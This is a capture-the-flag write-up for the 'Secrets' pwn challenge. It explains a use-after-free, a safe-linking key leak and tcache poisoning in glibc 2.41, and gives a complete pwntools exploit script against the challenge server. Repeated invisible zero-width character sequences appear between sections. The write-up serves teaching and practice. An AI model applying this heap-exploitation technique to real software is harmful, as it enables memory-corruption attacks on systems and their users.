← Back to Writeups
CUSTOMMediumpwn

Secrets

XESXOR9/2/20264 min read
#pwn#custom#medium#tcache_poisoning#safe_linking_bypass#use_after_free#linux

Secrets

Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-11 | Status: Solved Techniques: tcache_poisoning, safe_linking_bypass, use_after_free

Summary

Connection: nc ctf.mf.grsu.by 9072

Secrets — Grodno New Year 2026

Description

Василий верит, что память умеет хранить секреты. Vasily believes that memory can keep secrets.

Connection: nc ctf.mf.grsu.by 9072

Files:

  • secrets - ELF binary
  • libc.so.6 - glibc 2.41
  • ld-linux-x86-64.so.2

Analysis

Binary Protections

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Stripped: No

Important: PIE is disabled - addresses are static! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Addresses

c
admin_key @ 0x4040c0   // Buffer for checking "HACKED"
notes[]   @ 0x4040e0   // Array of pointers to notes

Program Functionality

OptionFunctionDescription
1Alloc Notemalloc(0x30), stores pointer in notes[idx], reads 0x30 bytes
2Free Notefree(notes[idx]), does NOT null the pointer
3Edit NoteReads 0x30 bytes into notes[idx] (works with freed chunks!)
4Read NoteOutputs 0x30 bytes from notes[idx]
5Check AdminCompares admin_key with "HACKED", outputs flag on match
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Use-After-Free (UAF)

After free_note() the pointer in notes[] is not nulled:

c
void free_note(int idx) {
    free(notes[idx]);
    // notes[idx] = NULL;  // MISSING!
}

This allows:

  1. Reading freed chunk (leak tcache data)
  2. Writing to freed chunk (poison tcache fd)

Exploitation

Technique: Tcache Poisoning + Safe-Linking Bypass

With glibc 2.32+ tcache uses safe-linking - pointers are XOR'd with a key:

c
// Safe-linking protection
encoded_ptr = ptr ^ (location >> 12)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bypass:

  1. First freed chunk has fd = NULL ^ key = key
  2. Read via UAF → get the key
  3. Encode target address: target ^ key

Attack Plan

┌─────────────────────────────────────────────────────────┐
│ 1. Alloc chunks 0, 1, 2                                 │
├─────────────────────────────────────────────────────────┤
│ 2. Free chunk 0 → tcache: [chunk0] → NULL               │
│    fd = NULL ^ key = key (leak!)                        │
├─────────────────────────────────────────────────────────┤
│ 3. Read chunk 0 (UAF) → get safe-linking key            │
├─────────────────────────────────────────────────────────┤
│ 4. Free chunk 1 → tcache: [chunk1] → [chunk0]           │
├─────────────────────────────────────────────────────────┤
│ 5. Edit chunk 1 (UAF) → fd = admin_key ^ key            │
│    tcache: [chunk1] → [admin_key] → ???                 │
├─────────────────────────────────────────────────────────┤
│ 6. Alloc chunk 4 → get chunk1 back                      │
├─────────────────────────────────────────────────────────┤
│ 7. Alloc chunk 5 → tcache returns admin_key!            │
│    Write "HACKED\x00"                                   │
├─────────────────────────────────────────────────────────┤
│ 8. Check Admin (option 5) → FLAG!                       │
└─────────────────────────────────────────────────────────┘

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

python
#!/usr/bin/env python3
"""
Secrets - Grodno New Year 2026 CTF
Tcache poisoning with safe-linking bypass (glibc 2.41)
"""
from pwn import *

context.binary = './secrets'
context.log_level = 'info'

ADMIN_KEY = 0x4040c0

def alloc(p, idx, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Index (0-9): ', str(idx).encode())
    p.sendafter(b'Enter data: ', data.ljust(0x30, b'\x00'))

def free(p, idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index (0-9): ', str(idx).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def edit(p, idx, data):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index (0-9): ', str(idx).encode())
    p.sendafter(b'New data: ', data.ljust(0x30, b'\x00'))

def read(p, idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'Index (0-9): ', str(idx).encode())
    return p.recvn(0x30)

def check_admin(p):
    p.sendlineafter(b'> ', b'5')

def exploit():
    # p = process('./secrets')
    p = remote('ctf.mf.grsu.by', 9072)
    
    # Step 1: Allocate 3 chunks
    log.info("Allocating chunks 0, 1, 2...")
    for i in range(3):
        alloc(p, i, b'A' * 0x10)
    
    # Step 2: Free chunk 0 to leak safe-linking key
    log.info("Freeing chunk 0...")
    free(p, 0)
    
    # Step 3: Read freed chunk 0 (UAF) - get safe-linking key
    data = read(p, 0)
    key = u64(data[:8])
    log.success(f"Safe-linking key: {hex(key)}")
    
    # Step 4: Free chunk 1
    log.info("Freeing chunk 1...")
    free(p, 1)
    
    # Step 5: Poison tcache - overwrite fd to point to admin_key
    encoded_admin_key = ADMIN_KEY ^ key
    log.info(f"Encoded admin_key: {hex(encoded_admin_key)}")
    edit(p, 1, p64(encoded_admin_key))
    
    # Step 6: Allocate to consume chunk1
    log.info("Allocating chunk 4 (gets chunk1 back)...")
    alloc(p, 4, b'B' * 0x10)
    
    # Step 7: Allocate again - tcache returns admin_key address!
    log.info("Allocating chunk 5 at admin_key...")
    alloc(p, 5, b'HACKED\x00')
    
    # Step 8: Trigger flag output
    log.info("Checking admin key...")
    check_admin(p)
    
    # Receive flag
    result = p.recvall(timeout=3)
    print(result.decode())
    
    p.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    exploit()

Flag Analysis

The flag REDACTED reads as:

"Admin ne zabyl tcache poisoned" (Admin didn't forget - tcache poisoned)

This is a direct hint to the exploitation technique!

Additional Notes

Safe-Linking (glibc 2.32+)

c
// Pointer encoding
#define PROTECT_PTR(pos, ptr) \
    ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))

// Decoding
#define REVEAL_PTR(ptr) \
    PROTECT_PTR(&ptr, ptr)

Why Does the Key Leak Work?

The first freed chunk in tcache bin has fd = NULL:

encoded_fd = NULL ^ (chunk_addr >> 12) = key

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

By reading this fd via UAF, we get the raw key!

References